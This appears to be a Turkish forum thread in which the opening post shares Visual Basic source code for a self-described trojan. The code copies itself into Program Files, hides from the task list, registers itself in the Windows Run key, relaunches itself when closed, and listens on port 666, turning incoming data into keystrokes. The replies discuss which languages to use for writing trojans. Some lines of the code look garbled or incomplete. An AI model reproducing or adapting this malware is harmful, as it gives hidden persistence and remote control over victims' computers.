AL bak bu vbasic de yazdığım bi trojan. Çocuk oyuncağı ama idare et artık Private Sub Form_Initialize " Trojan her çalıştığında Program Files klasrlerine kendisini kopyalayacak. On Error Resume Next Dim yol, ad, TamYol yol = App. Path " Ben nerdeyim? ad = App. EXEName & ". exe" " Ben kimim? TamYol = yol & "\" & ad " yaşasın nüfus patlaması... FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim. exe" End Sub Private Sub Form_Load " Trojanı Ctrl + Alt + Del ekranından gizle App. TaskVisible = False " Trojan her başladığında kendisini windows Kayıt defterine windows ile birlikte " başlamak üzere kayıt ediyor... Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" " Trojanın winsock ile dinlemeye alacağı port burada belirleniyor. " Trojan 666 portu dışarıdan gelecek istekler için kullanıma açıyor. " 666 Portu isterseniz değiştirebilirsiniz... Winsock1. LocalPort = "666" " " Ve artık 666. port bağlantıları dinlemeye alınıyor On Error Resume Next " trojan bir şekilde birden fazla çalışırsa oluşacak olan adres kullanım hatasını gidermek için " yani aynı adresi birden fazla winsock nesnesinini dinlemesini engelliyoruz. Winsock1. Listen " Form gizleniyor Me. Hide End Sub Private Sub Form_Terminate " İşte baş belası: Program kapatılsa bile tekrar çalışacak. Dim ac, d1 As String d1 = "C:\Program Files\BenTrojanDeğilim. exe" ac = Shell(d1) End Sub Private Sub Winsock1_ConnectionRequest "Winsock kontrolü kullanılıyor mu bak. If Winsock1. State <> sckClosed Then Winsock1. Close "Can alıcı nokta. Dışarıdan gelecek olan bağlantıları kabul et. Winsock1. Accept requestID End Sub Private Sub Winsock1_Error "Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geç. Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_Close Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_DataArrival Dim data1 As String Winsock1. GetData data1 " mesajal DoEvents SendKeys data1 "mesaj gnder End Sub How happy is the person who says I'm a TURK!!!

Arkadaşım trojan yazmak için programlama dili bilmen gerekir kullanabileceğin programlar"da visual basic, c++ vede delphi olabilir. You think the game is over? It has just begun ;)

hey allahım ya yaratmak allaha mahsusturda o klavyeyi sana allah mı yaratdı insan zekası ile yarattı yaratıcı allahtır ama icatları yaratan insandır. insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

www.inprise.com ayni zamanda www.borland.com adresi ilede ulsabilirsin eger kapanmadiysa..trial versiyonunu indirebilirsin.. sanirim 7 var son olarak.. kolay gele Delphi ve Assembly Programcisi

: Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :) peki bu programı nerden bulurum :) 3 Hafta nce Sigara ldürüyor diye okudum, sigarayı bıraktım. 2 hafta nce Alkol ldürüyor diye okudum, Alkolü bıraktım. Geçenlerde Aşırı Seks ldürüyor diye okudum, okumayı bıraktım..

: hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur.. and god created trojan.. Amphetamine Logic.

: hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur.. yobazlarin basit kelime oyunlarina takilmayalim kucuk dostum, arkadasin yaratmaktan kasti olusturmaktir.

vb ile nası yaparıs trojan WhiteThales

Arkadaşlar trojen yazmak için hangi programları kullanabiliriz? 3 Hafta nce Sigara ldürüyor diye okudum, sigarayı bıraktım. 2 hafta nce Alkol ldürüyor diye okudum, Alkolü bıraktım. Geçenlerde Aşırı Seks ldürüyor diye okudum, okumayı bıraktım..

Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :) Delphi ve Assembly Programcisi

hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..